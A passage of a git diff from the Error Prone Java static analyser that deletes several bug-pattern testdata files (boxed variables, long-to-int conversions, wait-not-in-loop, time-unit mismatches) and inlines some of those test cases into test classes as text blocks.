a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/UnnecessaryBoxedVariableCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/UnnecessaryBoxedVariableCases.java deleted file mode 100644 index 0a193c3014f..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/UnnecessaryBoxedVariableCases.java +++ /dev/null @@ -1,216 +0,0 @@ -/* - * Copyright 2019 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import static com.google.common.base.Preconditions.checkNotNull; - -import java.util.List; -import java.util.stream.Stream; -import org.jspecify.annotations.Nullable; - -/** - * @author awturner@google.com (Andy Turner) - */ -class UnnecessaryBoxedVariableCases { - void positive_local() { - Integer i = 0; - } - - int positive_local_return() { - Integer i = 0; - return i; - } - - Integer positive_local_addition() { - Integer i = 0; - return i + 1; - } - - void positive_local_compoundAddition(Integer addend) { - Integer i = 0; - i += addend; - - int j = 0; - j += i; - } - - void positive_methodInvocation() { - Integer i = 0; - methodPrimitiveArg(i); - } - - void negative_methodInvocation() { - Integer i = 0; - methodBoxedArg(i); - } - - void positive_assignedValueOf() { - Integer i = Integer.valueOf(0); - } - - int positive_assignedValueOf_return() { - Integer i = Integer.valueOf(0); - return i; - } - - int positive_noInitializer() { - Integer i; - i = 0; - return i; - } - - void negative_enhancedForLoopOverCollection(List list) { - for (Integer i : list) {} - } - - void negative_enhancedForLoopOverWrappedArray(Integer[] array) { - for (Integer i : array) {} - } - - void positive_enhancedForLoopOverPrimitiveArray(int[] array) { - for (Integer i : array) {} - } - - final void negative_invokeMethod(Integer i) throws InterruptedException { - i.wait(0); - } - - final Object[] negative_objectArray(Long l) { - return new Object[] {"", l}; - } - - void negative_null() { - Integer i = null; - } - - void negative_null_noInitializer() { - Integer i; - i = null; - i = 0; - } - - void negative_null_reassignNull() { - Integer i = 0; - i = null; - } - - void negative_enhancedForLoopOverPrimitiveArray_assignInLoop(int[] array) { - for (Integer i : array) { - i = null; - } - } - - void negative_boxedVoid() { - Void v; - } - - int negative_assignmentInReturn() { - Integer myVariable; - return myVariable = methodBoxedArg(42); - } - - int positive_assignmentInReturn() { - Integer myVariable; - return myVariable = Integer.valueOf(42); - } - - int positive_assignmentInReturn2() { - Integer myVariable; - return myVariable = Integer.valueOf(42); - } - - int positive_hashCode() { - Integer myVariable = 0; - return myVariable.hashCode(); - } - - short positive_castMethod() { - Integer myVariable = 0; - return myVariable.shortValue(); - } - - int positive_castMethod_sameType() { - Integer myVariable = 0; - return myVariable.intValue(); - } - - void positive_castMethod_statementExpression() { - Integer myVariable = 0; - myVariable.longValue(); - } - - void negative_methodReference() { - Integer myVariable = 0; - Stream stream = Stream.of(1).filter(myVariable::equals); - } - - static void positive_parameter_staticMethod(Boolean b) { - boolean a = b; - } - - static void negative_parameter_staticMethod(Boolean b) { - System.out.println("a " + b); - } - - static boolean positive_parameter_returnType(Boolean b) { - return b; - } - - void negative_parameter_instanceMethod_nonFinal(Boolean b) { - boolean a = b; - } - - final void negative_parameter_instanceMethod_final(Boolean b) { - boolean a = b; - } - - static void negative_parameter_unused(Integer i) {} - - static void positive_removeNullable_parameter(@Nullable Integer i) { - int j = i; - } - - static void positive_removeNullable_localVariable() { - @Nullable Integer i = 0; - @org.jspecify.annotations.Nullable Integer j = 0; - int k = i + j; - } - - static int positive_nullChecked_expression(Integer i) { - return checkNotNull(i); - } - - static int positive_nullChecked_expression_message(Integer i) { - return checkNotNull(i, "Null: [%s]", i); - } - - static int positive_nullChecked_statement(Integer i) { - checkNotNull(i); - return i; - } - - static int positive_nullChecked_statement_message(Integer i) { - checkNotNull(i, "Null: [%s]", i); - return i; - } - - private void methodPrimitiveArg(int i) {} - - private Integer methodBoxedArg(Integer i) { - return i; - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/UnnecessaryBoxedVariableCases_expected.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/UnnecessaryBoxedVariableCases_expected.java deleted file mode 100644 index 7ef2a847d3a..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/UnnecessaryBoxedVariableCases_expected.java +++ /dev/null @@ -1,211 +0,0 @@ -/* - * Copyright 2019 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import static com.google.common.base.Preconditions.checkNotNull; - -import java.util.List; -import java.util.stream.Stream; -import org.jspecify.annotations.Nullable; - -/** @author awturner@google.com (Andy Turner) */ -class UnnecessaryBoxedVariableCases { - void positive_local() { - int i = 0; - } - - int positive_local_return() { - int i = 0; - return i; - } - - Integer positive_local_addition() { - int i = 0; - return i + 1; - } - - void positive_local_compoundAddition(Integer addend) { - int i = 0; - i += addend; - - int j = 0; - j += i; - } - - void positive_methodInvocation() { - int i = 0; - methodPrimitiveArg(i); - } - - void negative_methodInvocation() { - Integer i = 0; - methodBoxedArg(i); - } - - void positive_assignedValueOf() { - int i = Integer.valueOf(0); - } - - int positive_assignedValueOf_return() { - int i = Integer.valueOf(0); - return i; - } - - int positive_noInitializer() { - int i; - i = 0; - return i; - } - - void negative_enhancedForLoopOverCollection(List list) { - for (Integer i : list) {} - } - - void negative_enhancedForLoopOverWrappedArray(Integer[] array) { - for (Integer i : array) {} - } - - void positive_enhancedForLoopOverPrimitiveArray(int[] array) { - for (int i : array) {} - } - - final void negative_invokeMethod(Integer i) throws InterruptedException { - i.wait(0); - } - - final Object[] negative_objectArray(Long l) { - return new Object[] {"", l}; - } - - void negative_null() { - Integer i = null; - } - - void negative_null_noInitializer() { - Integer i; - i = null; - i = 0; - } - - void negative_null_reassignNull() { - Integer i = 0; - i = null; - } - - void negative_enhancedForLoopOverPrimitiveArray_assignInLoop(int[] array) { - for (Integer i : array) { - i = null; - } - } - - void negative_boxedVoid() { - Void v; - } - - int negative_assignmentInReturn() { - Integer myVariable; - return myVariable = methodBoxedArg(42); - } - - int positive_assignmentInReturn() { - int myVariable; - return myVariable = Integer.valueOf(42); - } - - int positive_assignmentInReturn2() { - int myVariable; - return myVariable = Integer.valueOf(42); - } - - int positive_hashCode() { - int myVariable = 0; - return Integer.hashCode(myVariable); - } - - short positive_castMethod() { - int myVariable = 0; - return (short) myVariable; - } - - int positive_castMethod_sameType() { - int myVariable = 0; - return myVariable; - } - - void positive_castMethod_statementExpression() { - int myVariable = 0; - } - - void negative_methodReference() { - Integer myVariable = 0; - Stream stream = Stream.of(1).filter(myVariable::equals); - } - - static void positive_parameter_staticMethod(boolean b) { - boolean a = b; - } - - static void negative_parameter_staticMethod(Boolean b) { - System.out.println("a " + b); - } - - static boolean positive_parameter_returnType(boolean b) { - return b; - } - - void negative_parameter_instanceMethod_nonFinal(Boolean b) { - boolean a = b; - } - - final void negative_parameter_instanceMethod_final(boolean b) { - boolean a = b; - } - - static void negative_parameter_unused(Integer i) {} - - static void positive_removeNullable_parameter(int i) { - int j = i; - } - - static void positive_removeNullable_localVariable() { - int i = 0; - int j = 0; - int k = i + j; - } - - static int positive_nullChecked_expression(int i) { - return i; - } - - static int positive_nullChecked_expression_message(int i) { - return i; - } - - static int positive_nullChecked_statement(int i) { - return i; - } - - static int positive_nullChecked_statement_message(int i) { - return i; - } - - private void methodPrimitiveArg(int i) {} - - private Integer methodBoxedArg(Integer i) { - return i; - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/UnnecessaryLongToIntConversionNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/UnnecessaryLongToIntConversionNegativeCases.java deleted file mode 100644 index b0b5cdfcfab..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/UnnecessaryLongToIntConversionNegativeCases.java +++ /dev/null @@ -1,122 +0,0 @@ -/* - * Copyright 2022 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import com.google.common.primitives.Ints; - -/** Negative cases for {@link com.google.errorprone.bugpatterns.UnnecessaryLongToIntConversion}. */ -public class UnnecessaryLongToIntConversionNegativeCases { - - static void acceptsLong(long value) {} - - static void acceptsInt(int value) {} - - static void acceptsMultipleParams(int intValue, long longValue) {} - - // Converting from a long or Long to an Integer type requires first converting to an int. This is - // out of scope. - public void longToIntegerForLongParam() { - long x = 1; - acceptsLong(Integer.valueOf((int) x)); - } - - public void longObjectToIntegerForLongParam() { - Long x = Long.valueOf(1); - acceptsLong(Integer.valueOf(x.intValue())); - } - - public void longParameterAndLongArgument() { - long x = 1; - acceptsLong(x); - } - - public void longParameterAndIntArgument() { - int i = 1; - acceptsLong(i); - } - - public void longParameterAndIntegerArgument() { - Integer i = Integer.valueOf(1); - acceptsLong(i); - } - - public void castIntToLong() { - int i = 1; - acceptsLong((long) i); - } - - public void castLongToIntForIntParameter() { - long x = 1; - acceptsInt((int) x); - } - - public void longValueOfLongObject() { - Long x = Long.valueOf(1); - acceptsLong(x.longValue()); - } - - public void longValueOfInteger() { - Integer i = Integer.valueOf(1); - acceptsLong(i.longValue()); - } - - public void intValueOfInteger() { - Integer i = Integer.valueOf(1); - acceptsLong(i.intValue()); - } - - public void intValueForIntParameter() { - Long x = Long.valueOf(1); - acceptsInt(x.intValue()); - } - - public void checkedCastOnInt() { - int i = 1; - acceptsLong(Ints.checkedCast(i)); - } - - public void checkedCastOnInteger() { - Integer i = Integer.valueOf(1); - acceptsLong(Ints.checkedCast(i)); - } - - public void checkedCastForIntParameter() { - long x = 1; - acceptsInt(Ints.checkedCast(x)); - } - - public void checkedCastMultipleArgs() { - long x = 1; - // The method expects an int for the first parameter and a long for the second parameter. - acceptsMultipleParams(Ints.checkedCast(x), x); - } - - public void toIntExactOnInt() { - int i = 1; - acceptsLong(Math.toIntExact(i)); - } - - public void toIntExactOnInteger() { - Integer i = Integer.valueOf(1); - acceptsLong(Math.toIntExact(i)); - } - - public void toIntExactForIntParameter() { - long x = 1; - acceptsInt(Math.toIntExact(x)); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/UnnecessaryLongToIntConversionPositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/UnnecessaryLongToIntConversionPositiveCases.java deleted file mode 100644 index 43af8871a22..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/UnnecessaryLongToIntConversionPositiveCases.java +++ /dev/null @@ -1,77 +0,0 @@ -/* - * Copyright 2022 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import com.google.common.primitives.Ints; - -/** Positive cases for {@link com.google.errorprone.bugpatterns.UnnecessaryLongToIntConversion}. */ -public class UnnecessaryLongToIntConversionPositiveCases { - - static void acceptsLong(long value) {} - - static void acceptsMultipleParams(int intValue, long longValue) {} - - public void longToIntForLongParam() { - long x = 1; - // BUG: Diagnostic contains: UnnecessaryLongToIntConversion - acceptsLong((int) x); - } - - public void longObjectToIntForLongParam() { - Long x = Long.valueOf(1); - // BUG: Diagnostic contains: UnnecessaryLongToIntConversion - acceptsLong(x.intValue()); - } - - public void convertMultipleArgs() { - long x = 1; - // The method expects an int for the first parameter and a long for the second parameter. - // BUG: Diagnostic contains: UnnecessaryLongToIntConversion - acceptsMultipleParams(Ints.checkedCast(x), Ints.checkedCast(x)); - } - - // The following test cases test various conversion methods, including an unchecked cast. - public void castToInt() { - long x = 1; - // BUG: Diagnostic contains: UnnecessaryLongToIntConversion - acceptsLong((int) x); - } - - public void checkedCast() { - long x = 1; - // BUG: Diagnostic contains: UnnecessaryLongToIntConversion - acceptsLong(Ints.checkedCast(x)); - } - - public void toIntExact() { - long x = 1; - // BUG: Diagnostic contains: UnnecessaryLongToIntConversion - acceptsLong(Math.toIntExact(x)); - } - - public void toIntExactWithLongObject() { - Long x = Long.valueOf(1); - // BUG: Diagnostic contains: UnnecessaryLongToIntConversion - acceptsLong(Math.toIntExact(x)); - } - - public void intValue() { - Long x = Long.valueOf(1); - // BUG: Diagnostic contains: UnnecessaryLongToIntConversion - acceptsLong(x.intValue()); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/UnsafeReflectiveConstructionCastNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/UnsafeReflectiveConstructionCastNegativeCases.java deleted file mode 100644 index c5bec8897e6..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/UnsafeReflectiveConstructionCastNegativeCases.java +++ /dev/null @@ -1,51 +0,0 @@ -/* - * Copyright 2018 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -/** - * Negative cases for {@link UnsafeReflectiveConstructionCast}. - * - * @author bhagwani@google.com (Sumit Bhagwani) - */ -public class UnsafeReflectiveConstructionCastNegativeCases { - - public String newInstanceDirectCall() throws Exception { - return (String) Class.forName("java.lang.String").newInstance(); - } - - public String newInstanceDirectlyOnClassAndGetDeclaredConstructor() throws Exception { - return (String) String.class.getDeclaredConstructor().newInstance(); - } - - public String newInstanceDirectlyOnClassAndNewInstance() throws Exception { - return (String) String.class.newInstance(); - } - - public String invocationWithAsSubclass() throws Exception { - return Class.forName("java.lang.String").asSubclass(String.class).newInstance(); - } - - public class Supplier { - public T get(String className) { - try { - return (T) Class.forName(className).getDeclaredConstructor().newInstance(); - } catch (ReflectiveOperationException e) { - throw new IllegalStateException(e); - } - } - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/WaitNotInLoopNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/WaitNotInLoopNegativeCases.java deleted file mode 100644 index f4b38d7bbdf..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/WaitNotInLoopNegativeCases.java +++ /dev/null @@ -1,111 +0,0 @@ -/* - * Copyright 2013 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -/** - * @author eaftan@google.com (Eddie Aftandilian) - *

TODO(eaftan): Add test cases for enhanced for loop, loop outside synchronized block. - */ -public class WaitNotInLoopNegativeCases { - - boolean flag = true; - - public void test1() { - synchronized (this) { - while (!flag) { - try { - wait(); - } catch (InterruptedException e) { - } - } - } - } - - public void test2() { - synchronized (this) { - while (!flag) { - try { - wait(1000); - } catch (InterruptedException e) { - } - } - } - } - - public void test3() { - synchronized (this) { - while (!flag) { - try { - wait(1000, 1000); - } catch (InterruptedException e) { - } - } - } - } - - // This code is incorrect, but this check should not flag it. - public void testLoopNotInSynchronized() { - while (!flag) { - synchronized (this) { - try { - wait(); - } catch (InterruptedException e) { - } - } - } - } - - public void testDoLoop() { - synchronized (this) { - do { - try { - wait(); - } catch (InterruptedException e) { - } - } while (!flag); - } - } - - public void testForLoop() { - synchronized (this) { - for (; !flag; ) { - try { - wait(); - } catch (InterruptedException e) { - } - } - } - } - - public void testEnhancedForLoop() { - int[] arr = new int[100]; - synchronized (this) { - for (int i : arr) { - try { - wait(); - } catch (InterruptedException e) { - } - } - } - } - - private void wait(Object obj) {} - - public void testNotObjectWait() { - wait(new Object()); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/time/TimeUnitMismatchTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/time/TimeUnitMismatchTest.java index 8f9b000d385..ae4af662530 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/time/TimeUnitMismatchTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/time/TimeUnitMismatchTest.java @@ -38,12 +38,184 @@ public class TimeUnitMismatchTest { @Test public void testPositiveCase() { - compilationHelper.addSourceFile("testdata/TimeUnitMismatchPositiveCases.java").doTest(); + compilationHelper + .addSourceLines( + "TimeUnitMismatchPositiveCases.java", + """ + package com.google.errorprone.bugpatterns.time.testdata; + + import static java.util.concurrent.TimeUnit.NANOSECONDS; + + import java.util.Optional; + + /** + * @author cpovirk@google.com (Chris Povirk) + */ + public class TimeUnitMismatchPositiveCases { + int startMicros; + int stopMillis; + + void fields() { + // BUG: Diagnostic contains: expected microseconds but was milliseconds + startMicros = stopMillis; + + // BUG: Diagnostic contains: If it instead means microseconds + startMicros = stopMillis; + + // BUG: Diagnostic contains: MILLISECONDS.toMicros(stopMillis) + startMicros = stopMillis; + } + + void memberSelect() { + // BUG: Diagnostic contains: expected microseconds but was milliseconds + this.startMicros = this.stopMillis; + } + + void locals() { + int millis = 0; + // BUG: Diagnostic contains: expected microseconds but was milliseconds + startMicros = millis; + } + + long getMicros() { + return 0; + } + + void returns() { + // BUG: Diagnostic contains: expected nanoseconds but was microseconds + long fooNano = getMicros(); + } + + void doSomething(double startSec, double endSec) {} + + void setMyMillis(int timeout) {} + + void args() { + double ms = 0; + double ns = 0; + // BUG: Diagnostic contains: expected seconds but was milliseconds + doSomething(ms, ns); + // BUG: Diagnostic contains: expected seconds but was nanoseconds + doSomething(ms, ns); + + // BUG: Diagnostic contains: expected milliseconds but was nanoseconds + setMyMillis((int) ns); + } + + void timeUnit() { + int micros = 0; + // BUG: Diagnostic contains: expected nanoseconds but was microseconds + NANOSECONDS.toMillis(micros); + } + + class Foo { + Foo(long seconds) {} + } + + void constructor() { + int nanos = 0; + // BUG: Diagnostic contains: expected seconds but was nanoseconds + new Foo(nanos); + } + + void boxed() { + Long nanos = 0L; + // BUG: Diagnostic contains: expected milliseconds but was nanoseconds + long millis = nanos; + } + + void optionalGet() { + Optional maybeNanos = Optional.of(0L); + // BUG: Diagnostic contains: expected milliseconds but was nanoseconds + long millis = maybeNanos.get(); + } + }""") + .doTest(); } @Test public void testNegativeCase() { - compilationHelper.addSourceFile("testdata/TimeUnitMismatchNegativeCases.java").doTest(); + compilationHelper + .addSourceLines( + "TimeUnitMismatchNegativeCases.java", + """ + package com.google.errorprone.bugpatterns.time.testdata; + + import static java.util.concurrent.TimeUnit.NANOSECONDS; + + import java.util.Optional; + + /** + * @author cpovirk@google.com (Chris Povirk) + */ + public class TimeUnitMismatchNegativeCases { + static final int THE_MILLIS = 0; + int startMillis; + int stopMillis; + + void fields() { + startMillis = THE_MILLIS; + + startMillis = stopMillis; + } + + void memberSelect() { + this.startMillis = this.stopMillis; + } + + void locals() { + int millis = 0; + startMillis = millis; + } + + long getMicros() { + return 0; + } + + void returns() { + long fooUs = getMicros(); + } + + void doSomething(double startSec, double endSec) {} + + void args() { + double seconds = 0; + doSomething(seconds, seconds); + } + + void timeUnit() { + int nanos = 0; + NANOSECONDS.toMillis(nanos); + } + + class Foo { + Foo(long seconds) {} + } + + void constructor() { + int seconds = 0; + new Foo(seconds); + } + + String milliseconds() { + return "0"; + } + + void nonNumeric() { + String seconds = milliseconds(); + } + + void boxed() { + Long startNanos = 0L; + long endNanos = startNanos; + } + + void optionalGet() { + Optional maybeNanos = Optional.of(0L); + long nanos = maybeNanos.get(); + } + }""") + .doTest(); } @Test diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/time/testdata/TimeUnitMismatchNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/time/testdata/TimeUnitMismatchNegativeCases.java deleted file mode 100644 index 37730823b75..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/time/testdata/TimeUnitMismatchNegativeCases.java +++ /dev/null @@ -1,92 +0,0 @@ -/* - * Copyright 2014 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.time.testdata; - -import static java.util.concurrent.TimeUnit.NANOSECONDS; - -import java.util.Optional; - -/** - * @author cpovirk@google.com (Chris Povirk) - */ -public class TimeUnitMismatchNegativeCases { - static final int THE_MILLIS = 0; - int startMillis; - int stopMillis; - - void fields() { - startMillis = THE_MILLIS; - - startMillis = stopMillis; - } - - void memberSelect() { - this.startMillis = this.stopMillis; - } - - void locals() { - int millis = 0; - startMillis = millis; - } - - long getMicros() { - return 0; - } - - void returns() { - long fooUs = getMicros(); - } - - void doSomething(double startSec, double endSec) {} - - void args() { - double seconds = 0; - doSomething(seconds, seconds); - } - - void timeUnit() { - int nanos = 0; - NANOSECONDS.toMillis(nanos); - } - - class Foo { - Foo(long seconds) {} - } - - void constructor() { - int seconds = 0; - new Foo(seconds); - } - - String milliseconds() { - return "0"; - } - - void nonNumeric() { - String seconds = milliseconds(); - } - - void boxed() { - Long startNanos = 0L; - long endNanos = startNanos; - } - - void optionalGet() { - Optional maybeNanos = Optional.of(0L); - long nanos = maybeNanos.get(); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/time/testdata/TimeUnitMismatchPositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/time/testdata/TimeUnitMismatchPositiveCases.java deleted file mode 100644 index c306279d823..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/time/testdata/TimeUnitMismatchPositiveCases.java +++ /dev/null @@ -1,104 +0,0 @@ -/* - * Copyright 2014 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.time.testdata; - -import static java.util.concurrent.TimeUnit.NANOSECONDS; - -import java.util.Optional; - -/** - * @author cpovirk@google.com (Chris Povirk) - */ -public class TimeUnitMismatchPositiveCases { - int startMicros; - int stopMillis; - - void fields() { - // BUG: Diagnostic contains: expected microseconds but was milliseconds - startMicros = stopMillis; - - // BUG: Diagnostic contains: If it instead means microseconds - startMicros = stopMillis; - - // BUG: Diagnostic contains: MILLISECONDS.toMicros(stopMillis) - startMicros = stopMillis; - } - - void memberSelect() { - // BUG: Diagnostic contains: expected microseconds but was milliseconds - this.startMicros = this.stopMillis; - } - - void locals() { - int millis = 0; - // BUG: Diagnostic contains: expected microseconds but was milliseconds - startMicros = millis; - } - - long getMicros() { - return 0; - } - - void returns() { - // BUG: Diagnostic contains: expected nanoseconds but was microseconds - long fooNano = getMicros(); - } - - void doSomething(double startSec, double endSec) {} - - void setMyMillis(int timeout) {} - - void args() { - double ms = 0; - double ns = 0; - // BUG: Diagnostic contains: expected seconds but was milliseconds - doSomething(ms, ns); - // BUG: Diagnostic contains: expected seconds but was nanoseconds - doSomething(ms, ns); - - // BUG: Diagnostic contains: expected milliseconds but was nanoseconds - setMyMillis((int) ns); - } - - void timeUnit() { - int micros = 0; - // BUG: Diagnostic contains: expected nanoseconds but was microseconds - NANOSECONDS.toMillis(micros); - } - - class Foo { - Foo(long seconds) {} - } - - void constructor() { - int nanos = 0; - // BUG: Diagnostic contains: expected seconds but was nanoseconds - new Foo(nanos); - } - - void boxed() { - Long nanos = 0L; - // BUG: Diagnostic contains: expected milliseconds but was nanoseconds - long millis = nanos; - } - - void optionalGet() { - Optional maybeNanos = Optional.of(0L); - // BUG: Diagnostic contains: expected milliseconds but was nanoseconds - long millis = maybeNanos.get(); - } -} diff --git a/core/src/test/java/com/google/errorprone/dataflow/nullnesspropagation/NullnessPropagationTest.java b/core/src/test/java/com/google/errorprone/dataflow/nullnesspropagation/NullnessPropagationTest.java index 2de6c8dcc8f..216792412ef 100644 --- a/core/src/test/java/com/google/errorprone/dataflow/nullnesspropagation/NullnessPropagationTest.java +++ b/core/src/test/java/com/google/errorprone/dataflow/nullnesspropagation/NullnessPropagationTest.java @@ -123,42 +123,1715 @@ public static void triggerNullnessCheckerOnPrimitive(short s) {} @Test public void transferFunctions1() { - compilationHelper.addSourceFile("testdata/NullnessPropagationTransferCases1.java").doTest(); + compilationHelper + .addSourceLines( + "NullnessPropagationTransferCases1.java", + """ +package com.google.errorprone.dataflow.nullnesspropagation.testdata; + +import static com.google.errorprone.dataflow.nullnesspropagation.NullnessPropagationTest.triggerNullnessChecker; +import static com.google.errorprone.dataflow.nullnesspropagation.NullnessPropagationTest.triggerNullnessCheckerOnPrimitive; + +/** + * Dataflow analysis cases for testing transfer functions in nullness propagation, primarily around + * conditionals. + */ +public class NullnessPropagationTransferCases1 { + + public void conditionalNot(String foo) { + if (!(foo == null)) { + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(foo); + return; + } + + // BUG: Diagnostic contains: (Null) + triggerNullnessChecker(foo); + } + + public void conditionalOr1(String foo, String bar) { + if (foo == null || bar == null) { + // BUG: Diagnostic contains: (Nullable) + triggerNullnessChecker(foo); + // BUG: Diagnostic contains: (Nullable) + triggerNullnessChecker(bar); + return; + } + + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(foo); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(bar); + } + + public void conditionalOr2(String foo, String bar) { + if (foo != null || bar != null) { + // BUG: Diagnostic contains: (Nullable) + triggerNullnessChecker(foo); + } + + // BUG: Diagnostic contains: (Nullable) + triggerNullnessChecker(foo); + } + + public void conditionalOr3(String foo) { + if (foo != null || foo != null) { + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(foo); + } + + // BUG: Diagnostic contains: (Nullable) + triggerNullnessChecker(foo); + } + + public void conditionalOr4(String foo) { + // BUG: Diagnostic contains: (Non-null) + if (foo == null || triggerNullnessChecker(foo) == null) { + // BUG: Diagnostic contains: (Nullable) + triggerNullnessChecker(foo); + } + + // BUG: Diagnostic contains: (Null) + if (foo != null || triggerNullnessChecker(foo) != null) { + // BUG: Diagnostic contains: (Nullable) + triggerNullnessChecker(foo); + } + + // BUG: Diagnostic contains: (Nullable) + triggerNullnessChecker(foo); + } + + public void conditionalAnd1(String foo, String bar) { + if (foo != null && bar != null) { + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(foo); + } + + // BUG: Diagnostic contains: (Nullable) + triggerNullnessChecker(foo); + } + + public void conditionalAnd2(String foo) { + if (foo == null && foo != null) { + // BUG: Diagnostic contains: (Bottom) + triggerNullnessChecker(foo); + return; + } + + // BUG: Diagnostic contains: (Nullable) + triggerNullnessChecker(foo); + } + + public void conditionalAnd3(String foo) { + // BUG: Diagnostic contains: (Null) + if (foo == null && triggerNullnessChecker(foo) == null) { + // Something + } + + // BUG: Diagnostic contains: (Non-null) + if (foo != null && triggerNullnessChecker(foo) != null) { + // Something + } + + // BUG: Diagnostic contains: (Nullable) + triggerNullnessChecker(foo); + } + + public void ternary1(String nullable) { + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(nullable == null ? "" : nullable); + // BUG: Diagnostic contains: (Null) + triggerNullnessChecker(nullable != null ? null : nullable); + } + + public void ternary2(boolean test, String nullable) { + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(test ? "yes" : "no"); + // BUG: Diagnostic contains: (Nullable) + triggerNullnessChecker(test ? nullable : ""); + } + + public void valueOfComparisonItself() { + // BUG: Diagnostic contains: (Non-null) + triggerNullnessCheckerOnPrimitive(1 == 1); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessCheckerOnPrimitive(1 != 1); + boolean b; + // BUG: Diagnostic contains: (Non-null) + triggerNullnessCheckerOnPrimitive(b = (1 == 1)); + // BUG: Diagnostic contains: (Non-null) + 